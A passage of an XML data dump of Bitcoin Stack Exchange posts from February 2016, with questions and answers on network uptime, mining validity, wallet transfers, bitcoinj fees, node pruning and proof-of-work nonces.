  <row Id="42968" PostTypeId="2" ParentId="42961" CreationDate="2016-02-18T22:13:15.230" Score="6" Body="&lt;p&gt;A bitcoin node could be down or (extremely rarely as you say) all its peers could be down... but the bitcoin network could not be considered down; you could still synchronize by connecting to different peers manually using &lt;a href=&quot;https://en.bitcoin.it/wiki/Fallback_Nodes&quot;&gt;fallback nodes&lt;/a&gt; or even have your own list of nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way for the bitcoin network to be down is if all the nodes+miners are down which would be nearly impossible even with a few dozens of nodes (&lt;a href=&quot;https://bitnodes.21.co/&quot;&gt;current estimate&lt;/a&gt; is 6000+ nodes). However, in the very beginning, when there where 1 or 2-3 machines it was possible (see example in @Murch's answer, where that early on, there was only one node on the network: Satoshi's).&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-02-18T22:13:15.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42969" PostTypeId="2" ParentId="42961" CreationDate="2016-02-18T23:59:33.367" Score="2" Body="&lt;p&gt;The closest thing I can think of is the March 2013 fork. While the network wasn't down per se, you couldn't use it reliably until the issue was resolved.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2016-02-18T23:59:33.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42970" PostTypeId="2" ParentId="42966" CreationDate="2016-02-19T06:40:18.033" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;BUT can`t a lottery winner also add a fraudulent block to the chain? What does this lottery contribute to the validity of the chain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. If the block is invalid, it's ignored by everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;lottery&quot; only determines which chain of all fully valid blocks is the right one. For example, say I have 1 bitcoin and I sign two transactions, one sending that bitcoin to Alice and one sending that bitcoin to Bob. Both those transactions in the same chain would be invalid. But you can imagine two chains -- one with the transaction to Alice and one with the transaction to Bob. Both are valid, which is right. That's what the mining lottery is for. It solves the &quot;double spend&quot; problem without a central authority to arbitrate.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or in the other way: How are miners approving a bitcoin transaction, besides adding it to the blockchain when they win? Potentially, they could also add a lot of &quot;sh**&quot; to the blockchain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The same way everyone else does. If they add a transaction other people won't consider valid, then their block will be ignored and they will have wasted the effort they spent mining it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocks that don't pass all the requirements for validity, including checking every transaction in them, are totally ignored. Honest clients will never relay them to other clients or consider them part of the valid block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every participating Bitcoin full node can verify every single transaction in every single block.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2016-02-19T08:32:17.563" LastActivityDate="2016-02-19T08:32:17.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42971" PostTypeId="1" CreationDate="2016-02-19T07:53:34.157" Score="1" ViewCount="1949" Body="&lt;p&gt;I had bitcoins on MultiBit 0.12 on my old computer. I have moved the old computer's hard drive to an external hard drive. How can I transfer my bitcoins from the old hard drive to my new computer's MultiBit 0.15?&lt;/p&gt;&#xA;" OwnerUserId="33147" LastEditorUserId="5406" LastEditDate="2016-02-19T17:27:51.833" LastActivityDate="2016-11-25T03:37:52.680" Title="How can I transfer bitcoins from a MultiBit wallet to another computer?" Tags="|multibit|wallet-import|multibit-hd|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42972" PostTypeId="2" ParentId="42895" CreationDate="2016-02-19T08:41:13.143" Score="3" Body="&lt;p&gt;The basic idea is that one party makes a payment in such a way that the funds go back to them unless the other party makes the other payment, in which case the other party gets those funds. The other party can then make the payment and claim the output of the first payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's one possible more detailed sketch:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A and B each generate a private key, determine the corresponding public key, and exchange them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A and B each sum the public keys and hash them to form a joint address for the transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A and B form two transactions. One sends the funds back to A but has a lock time in the future. The other sends the funds to B if B provides proof of payment of B's funds to A.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They each sign both transactions and the signatures are summed so that both transactions are ready to submit. No additional transactions for the joint address can be signed unless A and B agree.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A sends her funds to the joint address formed in step 2. A knows that she can get her funds back when the lock time expires and that B can only get the funds if she provides proof of payment to A.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;B sends the funds to A and submits the proof of payment along with the signed transaction to get A's funds. At this point, the payment is complete.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If B fails to perform step 6, when the lock time expires, A submits the signed return transaction to get her funds back.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="85" LastActivityDate="2016-02-19T08:41:13.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42973" PostTypeId="1" AcceptedAnswerId="42974" CreationDate="2016-02-19T13:04:29.653" Score="2" ViewCount="522" Body="&lt;p&gt;I am trying to get the fee of incoming transactions in a wallet with bitcoinj. At times it was the commission using &lt;code&gt;Transaction.getFee()&lt;/code&gt;, but this was throwing &lt;code&gt;NullPointerException&lt;/code&gt;. I got to do a little more research and I realized that it happens when the transaction has unconfirmed inputs. I've tried adding the value of all the inputs and subtracting the value of all the outputs, so you would get the fee, but on these occasions the sum of the inputs is 0 BTC. Is there any other way to get the commission?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I leave an example of the output of one of the transactions (testnet):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04f570fdd0cb8c973d8c9b3adf09b803ef70941ec239685d479a93b089e4d621: Seen by 1 peer. Pending/unconfirmed.&#xA;   in   PUSHDATA(72)[3045022100fe750e43c3bc46eddb390dad98acd6ef0646e00386770de542e7e5c581f8118102206924cd243b459645ae8626e948e1d33404d29c651a8a59c24ed5cd902d7e939201] PUSHDATA(33)[02a40db91b59058375fe7f13810beb6609e63a8974ce355b76d01692058eaac9f9]&#xA;        outpoint:7cd4378560d2b36f53b3d492afa815c5ae615d18bff9611c3081f591a1c0c156:0&#xA;   out  DUP HASH160 PUSHDATA(20)[49d2661baf33597c6dc3dbdbb9e7a8835fdb76b4] EQUALVERIFY CHECKSIG 0.00126081 BTC&#xA;   out  DUP HASH160 PUSHDATA(20)[372fb0d8affe634b369af9722cc48c63ad90e9df] EQUALVERIFY CHECKSIG 0.001 BTC&#xA;   prps UNKNOWN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27532" LastEditorUserId="27532" LastEditDate="2016-02-19T13:15:16.700" LastActivityDate="2016-05-19T15:21:49.473" Title="How to get fee in a transaction with unconfirmed inputs in bitcoinj?" Tags="|transactions|transaction-fees|bitcoinj|transaction-input|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42974" PostTypeId="2" ParentId="42973" CreationDate="2016-02-19T13:56:23.777" Score="1" Body="&lt;p&gt;In case of a SPV node you don't have the values of the inputs of a transaction, as you don't have the full blockchain and thus all the UTXOs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction itself has no values of the inputs!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have the following options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Query a trusted server for the UTXOs (e.g. electrum servers)&lt;/li&gt;&#xA;&lt;li&gt;Query a webservice (e.g. blockcypher)&lt;/li&gt;&#xA;&lt;li&gt;of course have a full copy of the blockchain, you could use java bindings to query a local bitcoind&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="27733" LastActivityDate="2016-02-19T13:56:23.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42979" PostTypeId="2" ParentId="42966" CreationDate="2016-02-19T23:16:46.853" Score="0" Body="&lt;p&gt;the answer is simple.  if miner puts shit into the block, the next miners would ignore the incorrect block. the original miner looses the reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mining without reciving reward is pointless, the miner would be just wasting power&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-02-19T23:16:46.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42981" PostTypeId="1" CreationDate="2016-02-20T07:55:59.360" Score="0" ViewCount="2310" Body="&lt;p&gt;Also, doesn't this mean that I can use hardware such as a bitcoin usb block erupter to mine it?&lt;/p&gt;&#xA;" OwnerUserId="33172" LastEditorUserId="5406" LastEditDate="2016-02-20T12:55:36.350" LastActivityDate="2016-03-21T14:09:16.150" Title="Does Bytecoin use SHA-256?" Tags="|hash|altcoin|algorithms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42982" PostTypeId="2" ParentId="42981" CreationDate="2016-02-20T10:20:21.937" Score="1" Body="&lt;p&gt;Bytecoin (BCN) bytecoin.org uses the CryptoNight algorithm and cannot be mined with bitcoin mining hardware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bytecoin (BTE) bytecoin.biz uses SHA-256 and it can be mined with a block erupter (and any other bitcoin mining hardware).&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="6256" LastEditDate="2016-03-21T14:09:16.150" LastActivityDate="2016-03-21T14:09:16.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42984" PostTypeId="2" ParentId="42494" CreationDate="2016-02-20T14:33:35.817" Score="7" Body="&lt;p&gt;You can set a limit for blockchain data by starting your node with &lt;code&gt;-prune=&amp;lt;n&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-prune=&amp;lt;n&amp;gt;&lt;/code&gt; gives the target size in MiB to use for block files&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This limit will only include the blocks and reorganization data. You also need some space for chain state, block index database, and wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run my node with &lt;code&gt;-prune=20480&lt;/code&gt; (i.e. 20 GiB) and fully caught up the whole directory has 20.77 GiB or 22.30 GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest that you leave a few GiB room for overhead.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-02-20T14:33:35.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42987" PostTypeId="1" CreationDate="2016-02-20T17:30:49.183" Score="2" ViewCount="4091" Body="&lt;p&gt;I have recently gotten BitMinter on Linux, and was hoping to try GPU mining. However, as soon as BitMinter starts, it gives the following messages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BitMinter Client v1.6.1 started  &#xA;No OpenCl-compatible GPUs detected  &#xA;Probing all ports for external devices  &#xA;Probe failed: No serial ports found  &#xA;No external devices detected.  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I then click the play button to run, it tells me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: null&#xA;scala.runtime.NonLocalReturnControl$mcV$sp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As well, the engine start button is not showing now, however the previous issues existed before this&lt;/p&gt;&#xA;" OwnerUserId="33188" LastEditorUserId="5406" LastEditDate="2016-02-21T11:02:30.550" LastActivityDate="2018-03-08T15:10:23.360" Title="BitMinter gpu mining error" Tags="|error|gpu-mining|miner-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42990" PostTypeId="1" CreationDate="2016-02-20T19:51:18.990" Score="-1" ViewCount="242" Body="&lt;p&gt;I'm wonder how many nonce can resolve block in current difficulty? How can be than number counted? &lt;/p&gt;&#xA;" OwnerUserId="33031" LastActivityDate="2016-02-21T02:38:59.103" Title="How many nonce can resolve block" Tags="|block|difficulty|nonce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42991" PostTypeId="1" CreationDate="2016-02-20T20:33:03.257" Score="0" ViewCount="2536" Body="&lt;p&gt;I'm talking about hardware such as USB miners, etc. I'm asking, because I see people mine with &lt;code&gt;86kH/s&lt;/code&gt; on my pool…&lt;/p&gt;&#xA;" OwnerUserId="33172" LastEditorUserId="5406" LastEditDate="2016-03-05T14:31:59.283" LastActivityDate="2018-02-22T04:59:15.860" Title="Is there dedicated mining hardware available to mine cryptonote coins?" Tags="|mining-hardware|cryptonote|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42993" PostTypeId="2" ParentId="42991" CreationDate="2016-02-20T22:41:01.473" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/CryptoNote#Egalitarian_proof_of_work&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CryptoNight is a proof-of-work algorithm that mixes graphics processing unit (GPU) and central processing unit (CPU) mining to create a system resistant to both application-specific integrated circuits (ASICs) and fast memory-on-chip devices.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, there is no dedicated ASIC hardware (yet). You can currently only use CPU plus GPU (which of course counts as hardware but I assumed you meant dedicated to mining hardware like ASICs).&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-02-20T22:41:01.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42995" PostTypeId="2" ParentId="42900" CreationDate="2016-02-21T00:33:54.977" Score="6" Body="&lt;p&gt;Factom stores data in a blockchain that's maintained by their network of federated servers. &lt;a href=&quot;https://Tierion.com&quot; rel=&quot;noreferrer&quot;&gt;Tierion&lt;/a&gt; is an engine for anchoring your data to the blockchain. No altcoin required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've created an open standard called &lt;a href=&quot;http://Tierion.com/chainpoint&quot; rel=&quot;noreferrer&quot;&gt;Chainpoint&lt;/a&gt; for anchoring data in the blockchain. Like Factom, we use Merkle trees and periodically insert a transaction containing a Merkle root in the Bitcoin blockchain. Unlike Factom, we give you a blockchain receipt that can be stored in your local database and shared with other systems. You stay in control of your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you build an application on Factom, you're dependent on Factom's servers. If Factom fails, your application stops working. You have to continually acquire Factoids to write data to Factom. Or, you have to buy entry credits from middleman. With Tierion, your data and your blockchain receipts can be stored anywhere - even in another decentralized datastore. There is no long-term dependency on Tierion.  While Factom has plans to someday be decentralized, it's still a long way off from reaching that goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another significant difference is ease of use. It takes minutes to get started with Tierion's API. Try this test. Sign up for Tierion and write &quot;Hello World&quot; into a datastore. It will likely take you less than five minutes.  Now try writing &quot;Hello World&quot; to Factom. It will likely take you hours. You have to start by downloading and installing four pieces of software: Factom Wallet, Factom Wallet GUI, Factom-CLI, and Factomd. Next you have to acquire Factoids.  Currently, the best way to do this is to buy some Bitcoin, open an account on Poloniex, and trade you Bitcoin for Factoids.  Next you have to transfer your Factoids from Poloniex to your Factom Wallet. Then you have to convert your Factoids to Entry Credits. Next you have wait while your computer downloads the Factom blockchain to your local computer.  It goes on and on...  View Factom's &lt;a href=&quot;http://factom.org/howto&quot; rel=&quot;noreferrer&quot;&gt;install guide here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, we connect with over 500+ software applications. This makes it easy to automate business processes and share data between the apps that drive your business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add, that both companies are very early in our product cycles.  We have a few things coming that we're not ready to share. I suspect the same is true of Factom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Paul indicated, I provided design and technical input into Factom.  Although we're competitors in business, we're also friends as evidenced by this epic selfie: (I'm on the left)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2duYX.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2duYX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28058" LastEditorUserId="28058" LastEditDate="2016-02-21T01:05:55.010" LastActivityDate="2016-02-21T01:05:55.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42996" PostTypeId="2" ParentId="42987" CreationDate="2016-02-21T02:35:37.753" Score="2" Body="&lt;p&gt;You have no ASICs and no OpenCL-compatible GPU. Note that noone mines on GPU anymore anyway, it's completely useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Buy an ASIC miner, 1 TH/s (1000 GH/s) or faster. It will be a stand-alone machine, and you don't need to use your PC at all.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2016-02-21T02:35:37.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42997" PostTypeId="1" CreationDate="2016-02-21T02:36:45.713" Score="1" ViewCount="52" Body="&lt;p&gt;I'm having an issue getting the local bitcoin client running on a Mac OS X machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When installing berkeley-db4, and running the following command (per the README):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew install https://raw.github.com/mxcl/homebrew/master/Library/Formula/berkeley-db4.rb -–without-java&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then enter the console, and run &lt;code&gt;cd ..&lt;/code&gt; and then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;db-4.8.30/dist/configure --prefix=/usr/local/Cellar/berkeley-db4/4.8.30 --mandir=/usr/local/Cellar/berkeley-db4/4.8.30/share/man --enable-cxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once that happens, I get a long trace ending in this error. Has anyone run into this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;checking for a BSD-compatible install... /usr/bin/install -c&#xA;checking whether the C compiler works... yes&#xA;checking for C compiler default output file name... a.out&#xA;checking for suffix of executables...&#xA;checking whether we are cross compiling... configure: error: in `/private/tmp/berkeley-db420160220-8656-19l1688':&#xA;configure: error: cannot run C compiled programs.&#xA;If you meant to cross compile, use `--host'.&#xA;See `config.log' for more details.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33200" LastEditorUserId="2306" LastEditDate="2016-02-21T02:48:43.160" LastActivityDate="2016-02-21T02:48:43.160" Title="C Compilation Error Following README" Tags="|bitcoin-core|c|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42998" PostTypeId="2" ParentId="42990" CreationDate="2016-02-21T02:38:59.103" Score="1" Body="&lt;p&gt;The number of nonces required to be tried is, on average, 4.294 billion multiplied by the difficulty. The current difficulty (February 20, 2016) is 163 billion. So right now, just over 700 quadrillion hashes are required, on average, to mine a block.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2016-02-21T02:38:59.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42999" PostTypeId="2" ParentId="42910" CreationDate="2016-02-21T04:05:08.427" Score="3" Body="&lt;p&gt;Technically, you can simply run the software on all 7 machines and it will have the same expected completion time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have the same mathematical probability of finding an address that matches what you're looking for in both cases.&lt;/p&gt;&#xA;" OwnerUserId="31470" LastEditorUserId="31470" LastEditDate="2016-07-28T04:34:30.137" LastActivityDate="2016-07-28T04:34:30.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43000" PostTypeId="1" CreationDate="2016-02-21T09:11:39.810" Score="1" ViewCount="112" Body="&lt;p&gt;Wanted to know if there is any way i can run a full node on a machine in a restricted LAN that can not exit outbound packets except to a specific proxy on port 80 ?&#xA;(an answer requiring to use an additional special server to forward packets that sits on an open network can be considered too) can SOCKS help ?&lt;/p&gt;&#xA;" OwnerUserId="591" LastEditorUserId="591" LastEditDate="2017-05-08T07:09:35.803" LastActivityDate="2017-05-08T07:09:35.803" Title="running a full node on a network restricted to outbound connections on port 80 via proxy" Tags="|port|proxy|full-node|firewall|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43001" PostTypeId="5" CreationDate="2016-02-21T09:21:03.547" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-21T09:21:03.547" LastActivityDate="2016-02-21T09:21:03.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43002" PostTypeId="4" CreationDate="2016-02-21T09:21:03.547" Score="0" Body="Questions about what criteria influence the selection of unconfirmed transactions for block inclusion." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-21T09:21:03.547" LastActivityDate="2016-02-21T09:21:03.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43003" PostTypeId="1" AcceptedAnswerId="43919" CreationDate="2016-02-21T09:50:30.623" Score="1" ViewCount="190" Body="&lt;p&gt;&lt;strong&gt;Is there a way to create a transaction &lt;code&gt;A&lt;/code&gt; that cannot be confirmed until &lt;code&gt;B&lt;/code&gt; has been included in a block, although &lt;code&gt;A&lt;/code&gt; does not build on any UTXO &lt;code&gt;B&lt;/code&gt; creates?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;B&lt;/code&gt; would have already been broadcast by another user at that point, and you'd only be able to control &lt;code&gt;A&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Background:&lt;br&gt;&#xA;I was following a discussion on reddit, where a user was entertaining the scenario that in the future a mining cartel might censor transactions. He suggested creating transactions &lt;code&gt;A&lt;/code&gt; that would only become spendable in the event of a confirmation for the censored transaction &lt;code&gt;B&lt;/code&gt;, i.e. lending your fee as additional financial incentive for some miner to include &lt;code&gt;B&lt;/code&gt; and break the censorship.&lt;br&gt;&#xA;I was wondering whether that would actually be possible. Sorry, I wasn't able to find the thread.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-04-29T18:42:30.547" LastActivityDate="2016-04-29T19:35:35.227" Title="Is there a way to create a transaction that it can only be confirmed after another unrelated transaction has been confirmed?" Tags="|transactions|script|transaction-selection|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="43004" PostTypeId="1" AcceptedAnswerId="43005" CreationDate="2016-02-21T10:11:03.740" Score="3" ViewCount="134" Body="&lt;p&gt;I currently run bitcoind on my server that is hosting an online browser game where bitcoin is integrated. The problem I have right now is that we are running out of diskspace with the increasing size of the blockchain and upgrading hardware is not an option at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a server wallet that is not downloading the entire blockchain like bitcond does? If so which ones?&#xA;Our current integration is through PHP so it would be good if there is support for that.&lt;/p&gt;&#xA;" OwnerUserId="33205" LastEditorUserId="120" LastEditDate="2016-02-21T16:03:57.283" LastActivityDate="2016-02-21T16:03:57.283" Title="Other server wallets than bitcoind recommended for a ubuntu server" Tags="|bitcoind|blockchain|wallet|linux|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43005" PostTypeId="2" ParentId="43004" CreationDate="2016-02-21T10:56:37.127" Score="3" Body="&lt;p&gt;The easiest solution would be to upgrade to the recently released version &lt;code&gt;0.12.0&lt;/code&gt; which &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.12/doc/release-notes.md&quot; rel=&quot;nofollow&quot;&gt;allows running a wallet while in pruning mode&lt;/a&gt; (which was not possible with &lt;code&gt;0.11.2&lt;/code&gt;). That way you can limit the required diskspace, still have a fully validating node, and don't need to do update your integration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the upgrade to 0.12.0 you just start &lt;code&gt;bitcoind&lt;/code&gt; with &lt;code&gt;-prune=&amp;lt;n&amp;gt;&lt;/code&gt; where &lt;code&gt;&amp;lt;n&amp;gt;&lt;/code&gt; gives the amount of MiB of blockchain data you want to store. Be sure to leave some more diskspace for other data, the other files in the bitcoin directory don't count toward the limit.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-02-21T10:56:37.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43007" PostTypeId="1" AcceptedAnswerId="43008" CreationDate="2016-02-21T15:19:42.647" Score="3" ViewCount="1042" Body="&lt;p&gt;Why do miners increase the nonce to compute a block hash rather than just generating a random block hash?  It seems to me that both approaches would have the same likeliness of finding a result that is below the target.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the answer is that it is quicker to increase the nonce instead of just generating a random hash to find a valid result, could you show this in a mathematical/statistical way?&lt;/p&gt;&#xA;" OwnerUserId="33213" LastActivityDate="2016-02-21T16:09:09.267" Title="Why change the nonce instead of just rehashing?" Tags="|blockchain|hash|proof-of-work|nonce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43008" PostTypeId="2" ParentId="43007" CreationDate="2016-02-21T16:09:09.267" Score="5" Body="&lt;p&gt;The hashing function used in Bitcoin is deterministic, that is hashing the same input, i.e., block header, will always result in the same output. This is necessary so that others can also check that a Proof-of-Work is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that in order to compute a new hash the input to the hash function needs to be altered. The easiest way to alter the input is changing the nonce since this is a free-form field that may take any value. Other ways to modify the input is for example swapping transactions or modifying the coinbase transaction, which would require that the merkle root be recomputed in the header. The timestamp is also a popular choice, however its values are limited by a range of acceptable times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you are wondering why we don't simply rehash the output of the previous hashing function to get the next value: this would destroy the proof-of-work mechanism, which requires an easy to verify proof that the issuer has performed some work. The key here is easy: if we iteratively hash the results of the previous solution then the verifying party would also have to perform this work to check that the issuer has performed the work. when varying the input this does not happen since given the input the verifier can perform a single hash operation and check the result.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-02-21T16:09:09.267" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="43013" PostTypeId="1" CreationDate="2016-02-21T19:02:40.143" Score="2" ViewCount="114" Body="&lt;p&gt;From log files and database it's obvious, that bitcoinj downloads block headers for whole blockchain history. If I'm not mistaken, it's only 80bytes hash. Why do we need to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that we need to build list of UTXO for every address used by bitcoinj wallet, but how do we get them from headers ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are transactions found ? Most efficient would be to query indexed blockchain by address, but full node bitcoind does not support this. I expect it's related to block headers but cannot figure out how.&lt;/p&gt;&#xA;" OwnerUserId="29353" LastEditorUserId="2306" LastEditDate="2016-02-21T19:54:27.187" LastActivityDate="2016-02-21T19:54:27.187" Title="Why does bitcoinj need block headers and how it gets transactions" Tags="|bitcoinj|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43014" PostTypeId="1" CreationDate="2016-02-21T19:09:03.377" Score="2" ViewCount="1433" Body="&lt;p&gt;I configured bitcoinj library so I can connect to network, replay blockchain, create addresses, receive and send bitcoins. I using FullPrunedDatabase as block store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still missing how to find all transaction in this wallet. I'm also interested how to compute confirmed and unconfirmed balance on single address. I know this one was asked here before,&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/38947/how-to-get-balance-from-a-specific-address-in-bitcoinj&quot;&gt;How to get balance from a specific address in bitcoinj?&lt;/a&gt;, but I cannot figure out how to use CoinSelector&lt;/p&gt;&#xA;" OwnerUserId="29353" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2020-03-05T13:56:28.387" Title="How to get list of all transactions in bitcoinj wallet?" Tags="|bitcoinj|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43015" PostTypeId="2" ParentId="42971" CreationDate="2016-02-21T21:40:53.040" Score="1" Body="&lt;p&gt;MultiBit developer here. The version numbers you're supplying are not related to MultiBit. We currently have version 0.2.0 for MultiBit HD and 0.5.19 for MultiBit Classic. There has never been a 0.12 or 0.15 version. Are you sure that you have the correct wallet application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That aside, if you need to empty your wallet in MultiBit Classic, you simply need to use File | Open to locate your wallet file, and then use the Send tab to transfer those bitcoins to another address. That address is provided by whichever wallet you'd like to use instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do not delete your old private keys in case someone sends you bitcoin to an old address&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a help article that gives more details: &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_sendingBitcoin.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_sendingBitcoin.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2016-02-21T21:40:53.040" 